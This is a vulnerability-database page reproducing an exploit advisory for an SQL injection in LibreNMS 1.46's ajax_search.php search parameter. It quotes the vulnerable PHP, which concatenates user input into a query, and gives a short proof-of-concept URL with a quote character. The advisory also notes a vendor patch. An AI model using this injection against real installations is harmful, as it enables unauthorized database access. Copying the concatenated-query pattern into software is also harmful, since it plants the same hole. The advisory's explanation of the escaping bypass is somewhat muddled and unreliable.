Lucene search
+L

LibreNMS 1.46 SQL Injection

🗓️ 11 May 2020 00:00:00Reported by PuntType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 122 Views

LibreNMS 1.46 SQL Injection in 'search' parameter allows bypassing mres() function and executing arbitrary SQL querie

Code
`# Exploit Title: LibreNMS 1.46 - 'search' SQL Injection  
# Google Dork:unknown  
# Date: 2019-09-01  
# Exploit Author: Punt  
# Vendor Homepage: https://www.librenms.org  
# Software Link: https://www.librenms.org   
# Version:1.46 and less  
# Tested on:Linux and Windows  
# CVE: N/A   
  
#Affected Device: more than 4k found on Shodan and Censys.   
  
#Description about the bug  
Vunlerable script /html/ajax_serarch.php  
  
if (isset($_REQUEST['search'])) {  
$search = mres($_REQUEST['search']);  
header('Content-type: application/json');  
if (strlen($search) > 0) {  
$found = 0;  
  
if ($_REQUEST['type'] == 'group') {  
include_once '../includes/device-groups.inc.php';  
foreach (dbFetchRows("SELECT id,name FROM device_groups WHERE name LIKE '%".$search."%'") as $group) {  
if ($_REQUEST['map']) {  
$results[] = array(  
'name' => 'g:'.$group['name'],  
'group_id' => $group['id'],  
  
  
as you can there is a search parameter $search = mres($_REQUEST['search']); which accepts a user input using $_REQUEST['']  
  
dbFetchRows() used to exectute sql query  
  
now lets check the mres() function   
  
the mres() fuction is located under /includes/common.php  
  
function mres($string)  
{  
return $string; //   
global $database_link;  
return mysqli_real_escape_string($database_link, $string);  
  
as you can see the mres() function call's the mysqli_real_escape_string() which can be bypassed by '%'   
  
  
#POC:  
1st lgoin to your LibreNMS  
2nd go to this /ajax_search.php?search=%27&type=group or /ajax_search.php?search=%27&type=alert-rules   
3rd you will see an sql syntax error   
  
The Librenms team have applyed a patch .  
Thanks  
Punt (From Ethiopia)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 May 2020 00:00Current
0.1Low risk
Vulners AI Score0.1
122